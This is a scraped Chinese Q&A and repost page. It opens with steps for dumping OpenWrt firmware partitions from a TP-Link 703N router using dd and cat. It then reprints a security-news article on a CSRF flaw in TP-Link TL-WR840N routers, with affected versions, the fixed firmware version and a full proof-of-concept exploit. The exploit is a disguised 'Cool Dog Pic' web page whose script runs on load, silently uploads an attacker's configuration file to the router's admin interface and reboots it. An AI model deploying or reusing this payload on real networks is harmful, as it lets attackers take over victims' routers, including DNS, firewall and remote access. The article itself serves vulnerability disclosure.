TP-Link 703N 路由器里面刷了openwrt固件,能不能把这个固件提取出来?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了TP-Link 703N 路由器里面刷了openwrt固件,能不能把这个固件提取出来?相关的知识,希望对你有一定的参考价值。

参考技术A 不知道你是要整个flash的编程器用固件,还是刷的那个固件?

整个flash的内容用下面的方法取出:

1、登录路由
2、切换到tmp目录,
3、使用dd命令备份uboot、firmware(这个就是你刷的那个固件)、art/board_config,
4、使用cat命令将文件合并,假设新文件名为xxx.bin(这个就是编程器用的固件)
5、使用WinSCP将文件复制到电脑
root@OpenWrt:~# cd /tmp
root@OpenWrt:/tmp# cat /proc/mtd
dev: size erasesize name
mtd0: 00020000 00010000 "u-boot"
mtd1: 00140000 00010000 "kernel"
mtd2: 00690000 00010000 "rootfs"
mtd3: 00460000 00010000 "rootfs_data"
mtd4: 00010000 00010000 "art"
mtd5: 007d0000 00010000 "firmware"

取出uboot

root@OpenWrt:/tmp# dd if=/dev/mtd0 of=uboot.bin
取出可供刷机的固件(这个就是大家经常用来刷机的文件了)

root@OpenWrt:/tmp# dd if=/dev/mtd5 of=firmware.bin
取出wifi的校验信息

root@OpenWrt:/tmp# dd if=/dev/mtd4 of=art.bin

下面的是合并操作

root@OpenWrt:/tmp# cat uboot.bin firmware.bin art.bin > xxx.bin本回答被提问者采纳
参考技术B 你刷的那个就是提取出来的

TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

TP-Link路由器在国内的用户量很大,最近国外安全研究者发现TP-Link一个系列的路由器存在 CSRF 漏洞,攻击者可以修改路由器的任意配置,包括 DNS 等。

漏洞原理:

TP-Link TL-WR840N 路由器的管理后台提供了很多配置路由器的功能,其中一个功能是导入一个已经存在的配置文件,这个功能存在CSRF 漏洞,攻击者可以诱使路由器管理员访问一个恶意的网站,然后利用这个漏洞导入一个攻击者构造的配置文件,从而可以修改包括路由器的防火墙、远程管理等所有的配置项,当然,如果路由器管理员没有修改管理后台的密码,攻击成本就更低了,都不需要欺骗管理员登陆后台了。

攻击者可以在自己的路由器中设置一些配置项,然后将配置文件导出,就可以拿来do anything you want 了~

利用测试过程:

图一显示POC(概念验证)运行之前的配置情况

图二显示运行 POC 的情况

图三显示 POC 运行完之后,配置已经被改了

POC:

<html>
<head><title>Cool Dog Pic</title></head>
<body>
<script type="text/javascript">
exploit();
function getConfigureationFile(file){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",file,false);
xmlhttp.overrideMimeType("text/plain; charset=x-user-defined");
xmlhttp.send(null);
return xmlhttp.responseText;
}
function uploadFileToRouter(fileData, filename){
var boundary = "367815278484079563322656070";
var body = '';
body += '------------------------' + boundary + '\r\n';
body += 'Content-Disposition: form-data; name="filename"; filename="config.bin"\r\n';
body += 'Content-Type: application/octet-stream\r\n';
body += '\r\n';
for (var i = 0;i<fileData.length;i++){
body += String.fromCharCode(fileData.charCodeAt(i) & 0xff);
}
body += '\r\n';
body += '------------------------' + boundary + '\r\n';
body += 'Content-Disposition: form=data; name="Restore"\r\n';
body += '\r\n';
body += 'Restore\r\n';
body += '------------------------' + boundary + '--\r\n';
var xmlhttp = new XMLHttpRequest();
xmlhttp.post("POST","http://192.168.0.1/incoming/RouterBakCfgUpload.cfg",true);
xmlhttp.withCredentials = true;
xmlhttp.setRequestHeader("Content-Type", 'multipart/form-data;boundary=-------------------------------' + boundary);
xmlhttp.setRequestHeader('Content-length', body.length);
xmlhttp.sendAsBinary(body);
}
function rebootRouter(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://192.168.0.1/userRpm/ConfUpdateTemp.htm",true);
xmlhttp.withCredentials = true;
xmlhttp.send(null);
}
function sleep(milliseconds){
var start = new Date().getTime();
for (var i = 0;i<1e7;i++){
if ((new Date().getTime() - start) > milliseconds) {
break;
}
}
}
function exploit(){
sleep(3000);
var c = getConfigureationFile('config.bin');
uploadFileToRouter(c,'config.bin');
rebootRouter();
}
</script>
<img ></img>
<img width='0' height='0' class="hidden"></img>
</body>

修复方案:

升级到固件3.13.27, build141120 或更新的版本。

影响范围:

TL-WR840N v1 (固件版本 3.13.27, build140714 或更早的)。

[参考来源secureworks,文/实习编辑 吴知,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]

以上是关于TP-Link 703N 路由器里面刷了openwrt固件,能不能把这个固件提取出来?的主要内容,如果未能解决你的问题,请参考以下文章

弱弱的问一句:wr703n刷了OPENWRT固件后怎么刷回官方固件?

TP-LINK WR703N OpenWrt刷机教程(图文详解)

openwer怎么让mentohust开机自动运行,

TP-LINK WR703N OpenWrt 无线配网历程

TP-LINK路由器如何从高版本固件刷回旧版本固件?

linux下的python里面如何用相关的网络模块来重启tp-link路由器?